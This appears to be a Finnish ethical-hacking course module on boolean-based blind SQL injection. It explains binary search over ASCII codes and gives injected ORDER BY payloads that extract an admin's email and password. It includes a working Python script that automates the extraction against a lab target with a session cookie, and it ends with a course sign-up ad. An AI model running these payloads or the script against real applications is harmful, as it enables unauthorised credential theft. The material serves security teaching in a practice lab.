Sokeat Haavoittuvuudet
Haavoittuvuuksista käytetään yleensä etuliitettä "sokea" jos hyökkääjän ei ole mahdollista suoraan HTTP-vastauksessa nähdä hyökkäyksen tulosta. UNION-tekniikka esimerkiksi onnistuessaan ei ole sokea, koska näet haluamasi tiedot tietokannan palauttamien rivien joukossa. Myöskään virhepohjainen tekniikka ei ole sokea, koska näet tiedot virheilmoituksen mukana. Mutta jos kumpikaan näistä ei onnistu, etkä saa suoraan HTTP-vastaukseen palautumaan minkäänlaisia tietoja tietokannasta, puhutaan sokeasta haavoittuvuudesta.
Jos kyllä, räpäytä kahdesti
Sokeita SQL-injektiohaavoittuvuuksia hyväksikäytetään tyypillisesti kysymällä sovellukselta kyllä tai ei -kysymyksiä. Esimerkiksi:
- Onko admin-käyttäjän salasanan ensimmäinen kirjain A? Ei.
- Onko admin-käyttäjän salasanan ensimmäinen kirjain B? Ei.
- Onko admin-käyttäjän salasanan ensimmäinen kirjain C? Kyllä
- Onko admin-käyttäjän salasanan toinen kirjain A? Ei.
- ...
Hyväksikäyttö on siis huomattavasti hitaampaa eikä sokeisiin tekniikoihin kannata turvautua, jos esimerkiksi UNION tai virhepohjainen tekniikka on saatavilla.
Mutta mistä tietää mitä tietokanta vastasi? Tästä on karkeasti jaoteltuna kahta eri variaatiota, totuuspohjainen ja aikapohjainen sokea tekniikka.
- Totuus (boolean) -pohjainen tekniikka: Jos vastaus on kyllä, HTTP-vastaus on hieman erilainen. Erilaisuus voi johtua mistä vain, esimerkiksi virhetilanteesta, joka tapahtuu jos vastaus on kyllä.
- Aika (time) -pohjainen tekniikka: Jos vastaus on kyllä, odota X sekuntia ennen HTTP-vastauksen palauttamista.
Tässä moduulissa tutustumme totuuspohjaiseen tekniikkaan ja seuraavassa pääset kokeilemaan aikapohjaista.
ASCII-merkistö ja puolitushaku
Tutustuit aiemmassa moduulissa ASCII-merkistöön. Nyt sille tulee taas käyttöä, emme nimittäin oikeasti kysy tietokannalta että onko admin-käyttäjän salasanan ensimmäinen kirjain A, se olisi hirveän hidasta.
Siksi kysymme ennemmin, että onko salasanan ensimmäisen kirjaimen ASCII-koodi suurempi kuin X, tai pienempi kuin Y. Tulostettavia ASCII-merkkejä on 95, numerosta 32 (välilyönti) numeroon 126 (~).
Minkä tahansa kirjaimen saa selville max. seitsemällä yrityksellä kun käytetään puolitushakua (binary search). Aloitetaan kahden numeron puolivälistä ja puolitetaan hakualue joka kerta.
Sanotaan, että admin-käyttäjän salasana on "Simpukka". Hyökkäys voisi edetä seuraavasti:
- [Hakualue: 32-126, Puoliväli: 79]: Onko salasanan ensimmäisen merkin ASCII-arvo yli 79? Kyllä.
- [Hakualue: 64-126, Puoliväli: 95]: Onko salasanan ensimmäisen merkin ASCII-arvo yli 95? Ei.
- [Hakualue: 81-95, Puoliväli: 88]: Onko salasanan ensimmäisen merkin ASCII-arvo yli 88? Ei.
- [Hakualue: 81-88, Puoliväli: 84.5]: Onko salasanan ensimmäisen merkin ASCII-arvo yli 84? Ei.
- [Hakualue: 81-83, Puoliväli: 82]: Onko salasanan ensimmäisen merkin ASCII-arvo yli 82? Kyllä.
- Päättely: Salasanan ensimmäisen merkin ASCII-arvo on 83, joka vastaa kirjainta S.
SUBSTRING
Jotta voisimme hakea admin-käyttäjän salasanan ensimmäisen kirjaimen, tarvitsemme SQL-funktion, joka palauttaa sanasta vain yhden kirjaimen. Sellainen onneksi löytyy: SUBSTRING. Syntaksi on:
SUBSTRING("Sana", MISTÄ_KOHTAA, MONTAKO_KIRJAINTA)
Esimerkiksi: SUBSTRING("Simpukka", 1, 1) palauttaa kirjaimen S, kun taas SUBSTRING("Simpukka", 2, 1) palauttaa kirjaimen i.
Tässä esimerkki, joka hakee käyttäjän (jonka ID on 1) salasanan ensimmäisen kirjaimen (kannattaa kokeilla ja leikkiä näillä esimerkeillä selaimessa).
SELECT IF
Mutta miten kysymme tietokannalta kysymyksiä? SELECT IF -lauseke on tähän kätevä. Lauseke palauttaa yhden kahdesta SELECT-vaihtoehdosta, riippuen ehdon lopputulemasta. Syntaksi on:
SELECT IF (EHTO, MITÄ_JOS_TOTTA, MITÄ_JOS_EI_TOTTA)
Tässä on kaksi esimerkkiä, joita voit kokeilla:
ASCII
ASCII-funktiolla saadaan kirjain muutettua numeroksi (ASCII-koodiksi).
Virheen aiheuttaminen
Voimme tässä harjoitustehtävässä käyttää seuraavanlaista keinoa virheen aiheuttamiseksi, jos vastaus kysymykseemme on "kyllä".
SELECT IF(1=1,(SELECT 1 UNION SELECT 2),1);
Jos 1=1, palauta kaksi riviä (1 ja 2), joka aiheutta sovelluksessa virheen. Muuten, palauta vain 1, joka ei aiheuta virhettä.
SELECT * FROM user ORDER BY first_name,(SELECT IF(1=1,(SELECT 1 UNION SELECT 2),1)) ASC
Virhe (sovellus ei palauta yhtäkään kontaktia).
SELECT * FROM user ORDER BY first_name,(SELECT IF(1=2,(SELECT 1 UNION SELECT 2),1)) ASC
Ei virhettä, kontaktit palautuu.
1=1 korvaaminen oikealla kyselyllä
Kun olemme päässeet tähän pisteeseen, olemme jo pitkällä. Seuraava vaihe on korvata 1=1 oikealla kyselyllä, joka hakee tietokannasta haluamamme tiedot. Tavoite on saada sovellus ajamaan jotakin tämän suuntaista:
SELECT * FROM user ORDER BY first_name,(SELECT IF(ASCII(SUBSTRING((SELECT CONCAT(email,password) FROM user WHERE admin=1),1,1))>80,(SELECT 1 UNION SELECT 2),1)) ASC
Kokeile muuttaa lukua 80 pienemmäksi ja suuremmaksi, ja päätellä ensimmäinen kirjain manuaalisesti.
Automaatio Pythonilla
Työ on manuaalisesti hieman hitaan puoleista. Sinulla on harjoitustehtävässä käytössäsi VSCode-kehitysympäristö. Voit halutessasi kopioida alla olevan Python-koodin tiedostoon (vaikka attack.py) sekä täyttää istuntotunnisteen ja URL-osoitteen. Aja se sitten seuraavasti:
python3 ./attack.py
Älä kuitenkaan hyppää suoraan tähän vaiheeseen, vaan koita ratkoa ainakin ensimmäinen kirjain manuaalisesti yllä kuvatulla tavalla.
On tärkeää ymmärtää ensin miten ja miksi asiat toimivat kuten toimivat, ja vasta sitten siirtyä automatisoimaan niitä työkaluilla. Muuten törmäät seinään heti kun työkalu ei toimikaan.
#!/usr/bin/env python3
import requests
import time
BASE_URL = 'https://www-your-instance-id.ha-target.com/contacts'
QUERY = 'SELECT CONCAT(email,":",password) FROM user WHERE admin=True'
SESSION_ID = '.eJwlzjsOwjAMANC7ZGawE3_iXqZyYkdlbemEuDtIvBO8d9nXmddRttd556PszyhboVhSmViYV3UUk0oxFWe6WUsO4sAB2L05EYIJV6ThOAnMubeRloEOyhLL2DBboqj34S3rzEhCbsA6F5jCXILsojpF-4hWfpH7yvO_QcDy-QLDUC7b.YN43Ag.HdgJjyARejmOhGf_IBm08gZ0LD4'
CAUSE_ERROR = '(SELECT 1 UNION SELECT 2)'
def is_true(pos, operator, value):
payload = f'(SELECT IF(ASCII(SUBSTRING(({QUERY}),{pos},1)){operator}{value},{CAUSE_ERROR},1)) ASC-- '
sort = f'first_name,{payload}'
res = requests.get(BASE_URL, params={
'sort': sort,
'direction': 'ASC'
}, cookies={'session': SESSION_ID})
result = len(res.content) < 30000
print(f'[*] ASCII at pos {pos} {operator} {value}: {result}', flush=True)
time.sleep(0.2)
return result
pos = 1
result = ''
high = 128
low = 32
while True:
try:
mid = int((high + low)/2)
if is_true(pos, '>', mid):
low = mid
else:
high = mid
if abs(high - low) <= 1:
if is_true(pos, '=', high):
result += chr(high)
else:
result += chr(low)
pos += 1
high = 128
low = 32
print('> %s' % result)
if is_true(pos, '=', 0):
break
except KeyboardInterrupt:
break
print('[+] Done. Result: %s' % result)
Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.
Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.